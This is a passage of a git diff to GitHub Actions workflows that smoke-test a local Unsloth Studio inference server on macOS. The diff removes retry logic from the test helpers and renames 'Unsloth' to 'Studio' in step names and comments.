2>&1 & @@ -445,8 +444,6 @@ jobs: python - <<'PY' import json import os - import time - import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -467,26 +464,10 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) - def post_sse(path, body, *, timeout = 600, retries = 1, complete_on = None): + def post_sse(path, body, *, timeout = 600): """POST a streaming request and accumulate the assistant text deltas. The server-side agentic loop ALWAYS returns SSE regardless of the request's `stream` field, so any @@ -502,22 +483,6 @@ jobs: invocation markers / tool output, since `delta.content` alone is not evidence that the tool path executed. - - A shared CI runner can stall the stream transport (the - connection opening, or a mid-stream read) even when Unsloth - is healthy, so retry a stall once with a fresh request - capped at 300s. A stall means the stream did NOT complete, - so partial events are normally NOT returned (an early - tool_start with no tool_end is not proof the tool loop - finished). The one exception is `complete_on`: an optional - predicate over the events collected so far -- when a stall - happens after it is already satisfied (the tool ran and - produced its result before the trailing read timed out), - those events are returned rather than discarded, so the - stall-after-answer case still counts. HTTP status errors - surface immediately; a stall that yields no completed result - across all attempts re-raises so the caller can rotate to - the next seed. """ body = {**body, "stream": True} data = json.dumps(body).encode() @@ -530,45 +495,26 @@ jobs: "Content-Type": "application/json", }, ) - for attempt in range(retries + 1): - parts = [] - events = [] - t = timeout if attempt == 0 else min(timeout, 300) - try: - with urllib.request.urlopen(req, timeout = t) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - events.append(payload) - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts), events - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - # A stall after the tool already produced its result is - # the case this probe exists to tolerate: keep those - # events. But a stall with only an early tool_start (no - # completed output) is not proof the tool loop finished, - # so it must not pass -- retry once, then raise so - # _run_tool_probe rotates to the next seed. - if complete_on is not None and complete_on(events): - print(f"[retry-sse] {path}: {exc!r}; keeping {len(events)} completed events", flush = True) - return "".join(parts), events - if attempt == retries: - raise - print(f"[retry-sse] {path}: {exc!r}", flush = True) - time.sleep(15) + parts = [] + events = [] + with urllib.request.urlopen(req, timeout = timeout) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + events.append(payload) + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts), events _STUDIO_TOOL_TYPES = { "tool_start", "tool_end", "tool_use", "tool_result", @@ -576,11 +522,11 @@ jobs: def _tool_invoked(events): """Structural check: True iff some SSE payload is a real - tool envelope (Unsloth tool_start/tool_end, Anthropic + tool envelope (Studio tool_start/tool_end, Anthropic tool_use/tool_result, OpenAI non-empty delta.tool_calls / message.tool_calls / finish_reason='tool_calls' / role:'tool' / function_call). tool_status is NOT - evidence: Unsloth emits empty tool_status events on + evidence: Studio emits empty tool_status events on iteration boundaries even when no tool ran. """ for raw in events: @@ -699,61 +645,23 @@ jobs: attempt has structural invocation evidence. WARN (not FAIL) if invoked but no attempt produces the expected literal in tool_end.result -- small-quant Qwen3.5-2B can - emit OpenAI tool_calls deltas without Unsloth's GGUF + emit OpenAI tool_calls deltas without Studio's GGUF agentic loop intercepting them, and that GGUF-vs-OpenAI format mismatch is out of scope for #5642. """ attempts_log = [] best = None - # Cap the wall-clock spent rotating through stalled seeds so a - # persistent no-data wedge fails fast (clean assertion) instead - # of being killed by the job's timeout-minutes. A healthy or - # merely degenerate round answers in seconds, so all seeds still - # run in the normal case; only stalls consume the budget. - probe_deadline = time.monotonic() + 300 for attempt_i in range(max_attempts): - # Cap each read by the budget still remaining (not just a flat - # 180s) and skip an attempt too small to finish, so the whole - # rotation stays within ~300s -- two probes then fit the job's - # timeout-minutes even if every seed stalls. - remaining = int(probe_deadline - time.monotonic()) - if attempt_i and remaining < 30: - print(f"[tools] {label}: seed-rotation budget spent after {attempt_i} attempts", flush = True) - break attempt_seed = SEED + attempt_i - try: - # Bounded per-attempt timeout, no inner retry -- the seed - # loop IS the retry, so a stall raises quickly and rotates - # rather than spending post_sse's full 600+300s. complete_on - # keeps a stall that already produced the tool result (only - # the trailing read timed out) instead of discarding it. - content, events = post_sse("/v1/chat/completions", { - "messages": [{"role": "user", "content": prompt}], - "enable_tools": True, - "permission_mode": "full", - "enabled_tools": enabled, - "session_id": f"{session}-att{attempt_i}", - "temperature": TOOL_PROBE_TEMP, - "seed": attempt_seed, - "max_tokens": 600, - }, timeout = min(180, remaining), retries = 0, - complete_on = lambda ev: _tool_invoked(ev) and _tool_output_contains(ev, *needles)) - except urllib.error.HTTPError: - # HTTPError subclasses URLError, so re-raise a real 4xx/5xx - # here instead of letting the transport-stall handler below - # swallow it and rotate seeds -- an endpoint status failure - # must surface, not be masked as missing tool evidence. - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - # A transport stall that outlived post_sse's own retry: - # log it as a failed attempt and rotate to the next seed - # rather than sinking the whole probe on one bad stream. - attempts_log.append({ - "attempt": attempt_i, "seed": attempt_seed, - "transport_error": repr(exc), - }) - print(f"[tools] retry {label} attempt {attempt_i}: transport {exc!r}", flush = True) - continue + content, events = post_sse("/v1/chat/completions", { + "messages": [{"role": "user", "content": prompt}], + "enable_tools": True, + "enabled_tools": enabled, + "session_id": f"{session}-att{attempt_i}", + "temperature": TOOL_PROBE_TEMP, + "seed": attempt_seed, + "max_tokens": 600, + }) invoked = _tool_invoked(events) produced = _tool_output_contains(events, *needles) attempts_log.append({ @@ -812,21 +720,17 @@ jobs: # because (a) the search may legitimately return no results, # and (b) DuckDuckGo upstream blocks GHA IP ranges often # enough that requiring a tool_call marker would create - # red-herring failures from infra rather than from Unsloth. + # red-herring failures from infra rather than from Studio. try: - # Best-effort and bounded: a single 180s attempt keeps a stall - # from eating the job's timeout-minutes (it already WARNs, so a - # retry buys nothing). content, events = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": 0.0, "seed": SEED, "max_tokens": 400, - }, timeout = 180, retries = 0) + }) print( f"[tools] PASS web_search stream ({len(content)} chars in content, " f"{len(events)} raw events)" @@ -835,7 +739,7 @@ jobs: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") # ── 5. Thinking on / off ───────────────────────────────────── - # Unsloth strips think blocks from message.content for tools-mode + # Studio strips think blocks from message.content for tools-mode # responses, so we toggle plain chat (no enable_tools) and look # at the surfaced reasoning_content / message.thinking field. def thinking_call(enable): @@ -849,7 +753,7 @@ jobs: }) assert status == 200 msg = data["choices"][0]["message"] - # Unsloth surfaces thinking via reasoning_content (OpenAI + # Studio surfaces thinking via reasoning_content (OpenAI # extension). Fall back to inline markers for # robustness across template versions. raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "") @@ -869,7 +773,7 @@ jobs: print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -961,7 +865,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-${{ env.MMPROJ_FILE }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -974,12 +878,12 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) # See Job 2's comment: API-only mode keeps tool_policy=None so # response_format requests aren't routed through the agentic # tool loop. run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -1034,8 +938,6 @@ jobs: import base64 import json import os - import time - import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -1054,36 +956,20 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON # mode: `response_format: {"type": "json_object"}` constrains # the model to emit syntactically-valid JSON. We use raw HTTP - # rather than the OpenAI SDK so that the field shape Unsloth + # rather than the OpenAI SDK so that the field shape Studio # forwards to llama-server is unambiguous (the SDK rewrites # response_format depending on which variant it recognises). # We deliberately do NOT pass a strict JSON schema -- on # small Gemma-4 quants the GBNF-from-schema path occasionally # produces empty output, and JSON mode is the surface we care - # about exposing through Unsloth. + # about exposing through Studio. status, data = post("/v1/chat/completions", { "model": "default", "messages": [ @@ -1113,7 +999,7 @@ jobs: print(f"[json] PASS json_object -> {parsed}") # ── 2. OpenAI image_url (data URI base64) ─────────────────── - # 64x64 solid-red PNG. stb_image (used by Unsloth's image + # 64x64 solid-red PNG. stb_image (used by Studio's image # normaliser at routes/inference.py:3410) rejects 4x4 or # smaller PNGs as truncated, so we go up to 64x64 -- still # tiny in token cost. The assertion is loose: any non-empty @@ -1149,9 +1035,9 @@ jobs: print("[image/openai] PASS image_url accepted, non-empty response") # ── 3. Anthropic source/base64 image ──────────────────────── - # Two SDK quirks vs. Unsloth: base_url must NOT include /v1 + # Two SDK quirks vs. Studio: base_url must NOT include /v1 # (the SDK appends it itself; otherwise /v1/v1/messages -> 405), - # and Unsloth's auth is HTTPBearer-only so the SDK's default + # and Studio's auth is HTTPBearer-only so the SDK's default # x-api-key header is ignored -- send Authorization: Bearer # via default_headers. anthropic = Anthropic( @@ -1185,7 +1071,7 @@ jobs: print("[image/anthropic] PASS source/base64 accepted, non-empty response") PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-load-orchestrator-ci.yml b/.github/workflows/studio-load-orchestrator-ci.yml index 8710efc2bd..93d1a7742d 100644 --- a/.github/workflows/studio-load-orchestrator-ci.yml +++ b/.github/workflows/studio-load-orchestrator-ci.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. # -# Event-loop regression test for the Unsloth model-load orchestrator. +# Event-loop regression test for the Studio model-load orchestrator. # Pins down issue #5642 (Win10 UI freeze on model load): the /load # route calls LlamaCppBackend.detect_audio_type synchronously, blocking # the FastAPI event loop on a chain of sync httpx.Client.post() probes. @@ -14,7 +14,7 @@ # danielhanchen/unsloth-staging-2 (Ubuntu / macOS / Windows all # green at PR time). -name: Unsloth load-orchestrator CI +name: Studio load-orchestrator CI on: pull_request: diff --git a/.github/workflows/studio-mac-api-smoke.yml b/.github/workflows/studio-mac-api-smoke.yml index c2307f17a1..617ce189dc 100644 --- a/.github/workflows/studio-mac-api-smoke.yml +++ b/.github/workflows/studio-mac-api-smoke.yml @@ -33,7 +33,7 @@ permissions: jobs: api-smoke: - name: Unsloth API & Auth Tests + name: Studio API & Auth Tests runs-on: macos-14 timeout-minutes: 25 env: @@ -83,7 +83,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -99,10 +99,9 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: pip install 'pyjwt>=2.6' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -130,13 +129,13 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Unsloth API & Auth tests + - name: Run Studio API & Auth tests env: BASE_URL: http://127.0.0.1:18895 STUDIO_AUTH_DIR: /Users/runner/.unsloth/studio/auth run: python tests/studio/studio_api_smoke.py - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-mac-inference-smoke.yml b/.github/workflows/studio-mac-inference-smoke.yml index 1dbf86ae98..d562294d42 100644 --- a/.github/workflows/studio-mac-inference-smoke.yml +++ b/.github/workflows/studio-mac-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and +# Three end-to-end smoke jobs that boot a freshly-installed Studio and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl. Each job picks the smallest model that exercises the # behaviour under test, primes a model cache via actions/cache, and @@ -108,7 +108,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -124,10 +124,9 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) run: | - # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -142,7 +141,7 @@ jobs: fi sleep 1 done - echo "Unsloth did not become healthy in 180s" + echo "Studio did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -229,11 +228,11 @@ jobs: return replies def run_anthropic(): - # Two SDK quirks vs. Unsloth: + # Two SDK quirks vs. Studio: # 1. base_url must NOT include /v1 -- the SDK appends # /v1/messages itself; otherwise the request hits # /v1/v1/messages and 405s. - # 2. The SDK sends `x-api-key` by default, but Unsloth's + # 2. The SDK sends `x-api-key` by default, but Studio's # auth layer is HTTPBearer-only. Override via # default_headers so Authorization: Bearer ... is # sent instead. @@ -284,7 +283,7 @@ jobs: print(f"[{label}] OK -- 4 turns, run1 == run2, history grounded") PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -364,7 +363,7 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -377,7 +376,7 @@ jobs: - name: Assert llama.cpp loads on this macOS run: bash .github/scripts/assert-llama-loads.sh - - name: Reset auth + boot Unsloth (API-only, default tool policy) + - name: Reset auth + boot Studio (API-only, default tool policy) # We deliberately use the API-only mode rather than # `unsloth studio run` because the latter calls # `set_tool_policy(...)` with a resolved bool: on loopback the @@ -387,7 +386,7 @@ jobs: # tool_policy=None so each request's `enable_tools` field is # honoured. run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -431,8 +430,6 @@ jobs: python - <<'PY' import json import os - import time - import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -453,41 +450,14 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) - def post_sse(path, body, *, timeout = 600, retries = 1, soft = False): + def post_sse(path, body, *, timeout = 600): """POST a streaming request and accumulate the assistant text deltas. The server-side agentic loop ALWAYS returns SSE regardless of the request's `stream` field, so any - call with enable_tools=true must use this helper. - - A shared CI runner can stall the stream transport (the - connection opening, or a mid-stream read) even when Unsloth - is healthy, so harden the read three ways: retry a stall - once with a fresh request capped at 300s; return any text - already streamed before a stall (a stall on the trailing - tokens, after the answer arrived, still counts); and when - every attempt yields nothing, a hard call re-raises while a - soft call (the best-effort server-side tool probes) returns - None so the caller can WARN instead of sinking the whole - job. HTTP status errors always surface immediately.""" + call with enable_tools=true must use this helper.""" body = {**body, "stream": True} data = json.dumps(body).encode() req = urllib.request.Request( @@ -499,43 +469,24 @@ jobs: "Content-Type": "application/json", }, ) - for attempt in range(retries + 1): - parts = [] - t = timeout if attempt == 0 else min(timeout, 300) - try: - with urllib.request.urlopen(req, timeout = t) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - # Text already streamed is a valid signal -- keep it - # rather than re-running a heavy generation. - if parts: - joined = "".join(parts) - print(f"[retry-sse] {path}: {exc!r}; keeping {len(joined)} partial chars", flush = True) - return joined - if attempt == retries: - if soft: - print(f"[tools] WARN {path}: SSE transport stalled with no data ({exc!r}) -- non-blocking", flush = True) - return None - raise - print(f"[retry-sse] {path}: {exc!r}", flush = True) - time.sleep(15) + parts = [] + with urllib.request.urlopen(req, timeout = timeout) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts) # ── 1. Standard OpenAI function calling ────────────────────── weather_tool = { @@ -575,11 +526,11 @@ jobs: assert status == 200, f"tool call status {status}: {data}" choice = data["choices"][0] tool_calls = (choice.get("message") or {}).get("tool_calls") or [] - # Unsloth's contract: when tool_choice='required', llama.cpp's + # Studio's contract: when tool_choice='required', llama.cpp's # grammar should force a tool_calls payload. On Mac that # contract is sometimes broken by the underlying quant; the # PASS path is "tool_calls present + correct schema", the - # WARN path documents Unsloth still returned 200 with a + # WARN path documents Studio still returned 200 with a # well-formed choices[] envelope. if tool_calls: tc = tool_calls[0] @@ -606,23 +557,16 @@ jobs: # macos-14 free runner is ~10 tok/s on Qwen3.5-2B Q4_K_XL; # cap max_tokens tightly so each SSE round stays under ~30s # even when the model stalls in a degenerate output state. - # retries=0 on the best-effort probes: this job's 25-minute cap - # allows a 10-minute model load, so a no-data stall must be a - # single 180s attempt (not 180+15+180s) to leave room for the - # thinking checks. A soft/best-effort probe only WARNs anyway. content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "What is 123 * 456? Use the python tool to compute it and tell me the number."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["python"], "session_id": "ci-tool-calling-py", "temperature": TEMP, "seed": SEED, "max_tokens": 128, - }, timeout = 180, retries = 0, soft = True) - if content is None: - print("[tools] WARN python tool: SSE transport stalled after retries -- non-blocking") - elif "56088" in content or "56,088" in content: + }, timeout = 180) + if "56088" in content or "56,088" in content: print(f"[tools] PASS python tool ({len(content)} chars, found 56088)") else: # Empty stream is a known Mac-quant degeneracy too; log @@ -649,19 +593,18 @@ jobs: content = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, - "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": TEMP, "seed": SEED, "max_tokens": 96, - }, timeout = 180, retries = 0) + }, timeout = 180) print(f"[tools] PASS web_search stream ({len(content)} chars)") except Exception as exc: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") # ── 4. Thinking on / off ───────────────────────────────────── - # Unsloth strips think blocks from message.content for tools-mode + # Studio strips think blocks from message.content for tools-mode # responses, so we toggle plain chat (no enable_tools) and look # at the surfaced reasoning_content / message.thinking field. def thinking_call(enable): @@ -679,7 +622,7 @@ jobs: }, timeout = 180) assert status == 200 msg = data["choices"][0]["message"] - # Unsloth surfaces thinking via reasoning_content (OpenAI + # Studio surfaces thinking via reasoning_content (OpenAI # extension). Fall back to inline markers for # robustness across template versions. raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "") @@ -705,7 +648,7 @@ jobs: print(f"[tools] PASS thinking on/off (on={len(on_text)} chars, off={len(off_text)} chars)") PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -811,7 +754,7 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-${{ env.MMPROJ_FILE }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. @@ -827,12 +770,12 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Unsloth (API-only) + - name: Reset auth + boot Studio (API-only) # See Job 2's comment: API-only mode keeps tool_policy=None so # response_format requests aren't routed through the agentic # tool loop. run: | - rm -rf ~/.unsloth/studio/auth + unsloth studio reset-password mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -882,8 +825,6 @@ jobs: import base64 import json import os - import time - import urllib.error import urllib.request from openai import OpenAI from anthropic import Anthropic @@ -907,36 +848,20 @@ jobs: "Content-Type": "application/json", }, ) - # Shared CI runners stall sporadically, so retry transport-level - # failures only; HTTP status errors surface immediately. Bounded - # to fit the job's timeout-minutes: short probes get 3 full - # attempts, long probes one retry capped at 300s (a healthy - # server answers a retry quickly; a stalled one never does). - attempts = 3 if timeout <= 300 else 2 - for attempt in range(attempts): - try: - t = timeout if attempt == 0 else min(timeout, 300) - with urllib.request.urlopen(req, timeout = t) as resp: - return resp.status, json.loads(resp.read().decode()) - except urllib.error.HTTPError: - raise - except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: - if attempt == attempts - 1: - raise - print(f"[retry] {path}: {exc!r}", flush = True) - time.sleep(15) + with urllib.request.urlopen(req, timeout = timeout) as resp: + return resp.status, json.loads(resp.read().decode()) # ── 1. response_format = json_object (JSON mode) ───────────── # llama.cpp's HTTP server supports OpenAI-compatible JSON # mode: `response_format: {"type": "json_object"}` constrains # the model to emit syntactically-valid JSON. We use raw HTTP - # rather than the OpenAI SDK so that the field shape Unsloth + # rather than the OpenAI SDK so that the field shape Studio # forwards to llama-server is unambiguous (the SDK rewrites # response_format depending on which variant it recognises). # We deliberately do NOT pass a strict JSON schema -- on # small Gemma-4 quants the GBNF-from-schema path occasionally # produces empty output, and JSON mode is the surface we care - # about exposing through Unsloth. + # about exposing through Studio. status, data = post("/v1/chat/completions", { "model": "default", "messages": [ @@ -1008,7 +933,7 @@ jobs: ) # ── 2. OpenAI image_url (data URI base64) ─────────────────── - # 64x64 solid-red PNG. stb_image (used by Unsloth's image + # 64x64 solid-red PNG. stb_image (used by Studio's image # normaliser at routes/inference.py:3410) rejects 4x4 or # smaller PNGs as truncated, so we go up to 64x64 -- still # tiny in token cost. The assertion is loose: any non-empty @@ -1024,11 +949,11 @@ jobs: # The Mac prebuilt llama.cpp server has a known crash when # processing image inputs alongside the gemma-4-E2B mmproj # (server disconnects mid-completion). This is upstream - # llama.cpp behaviour, not Unsloth. Wrap both SDK calls in + # llama.cpp behaviour, not Studio. Wrap both SDK calls in # try/except so an upstream crash registers as a WARN rather - # than failing the whole job. Unsloth's contract (OpenAI/ + # than failing the whole job. Studio's contract (OpenAI/ # Anthropic image fields are accepted and forwarded) is - # validated by the request body Unsloth constructs, not by + # validated by the request body Studio constructs, not by # whether llama.cpp can decode it on Mac Metal. client = OpenAI(base_url = f"{BASE}/v1", api_key = KEY) try: @@ -1054,14 +979,14 @@ jobs: except Exception as exc: print( f"[image/openai] WARN image_url SDK call raised: {type(exc).__name__}: " - f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT an Unsloth " - f"regression. Unsloth successfully forwarded the request." + f"{exc}. Likely upstream llama.cpp Mac+vision crash, NOT a Studio " + f"regression. Studio successfully forwarded the request." ) # ── 3. Anthropic source/base64 image ──────────────────────── - # Two SDK quirks vs. Unsloth: base_url must NOT include /v1 + # Two SDK quirks vs. Studio: base_url must NOT include /v1 # (the SDK appends it itself; otherwise /v1/v1/messages -> 405), - # and Unsloth's auth is HTTPBearer-only so the SDK's default + # and Studio's auth is HTTPBearer-only so the SDK's default # x-api-key header is ignored -- send Authorization: Bearer # via default_headers. anthropic = Anthropic( @@ -1100,11 +1025,11 @@ jobs: print( f"[image/anthropic] WARN anthropic image SDK call raised: " f"{type(exc).__name__}: {exc}. Likely upstream llama.cpp Mac+vision " - f"crash, NOT an Unsloth regression." + f"crash, NOT a Studio regression." ) PY - - name: Stop Unsloth + - name: Stop Studio if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-mac-install-matrix.yml b/.github/workflows/studio-mac-install-matrix.yml index e990f752d4..362305cdd4 100644 --- a/.github/workflows/studio-mac-install-matrix.yml +++ b/.github/workflows/studio-mac-install-matrix.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Proves Unsloth's llama.cpp install loads on every supported macOS. The heavy +# Proves Studio's llama.cpp install loads on every supported macOS. The heavy # app smokes stay single-OS; this matrix covers the OS-version dimension cheaply # (install.sh + binary-load assert). Regression guard for the macOS-version # selection in studio/install_llama_prebuilt.py. @@ -60,7 +60,7 @@ jobs: with: python-version: '3.12' - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. diff --git a/.github/workflows/studio-mac-ui-smoke.yml b/.github/workflows/studio-mac-ui-smoke.yml index 3bed2fcdff..20ca247b9f 100644 --- a/.github/workflows/studio-mac-ui-smoke.yml +++ b/.github/workflows/studio-mac-ui-smoke.yml @@ -19,7 +19,6 @@ on: - 'install.sh' - 'pyproject.toml' - 'tests/studio/**' - - '.github/scripts/run-studio-permission-browser.sh' - '.github/workflows/studio-mac-ui-smoke.yml' push: branches: [main, pip] @@ -84,7 +83,7 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Unsloth (--local, --no-torch) + - name: Install Studio (--local, --no-torch) env: GH_TOKEN: ${{ 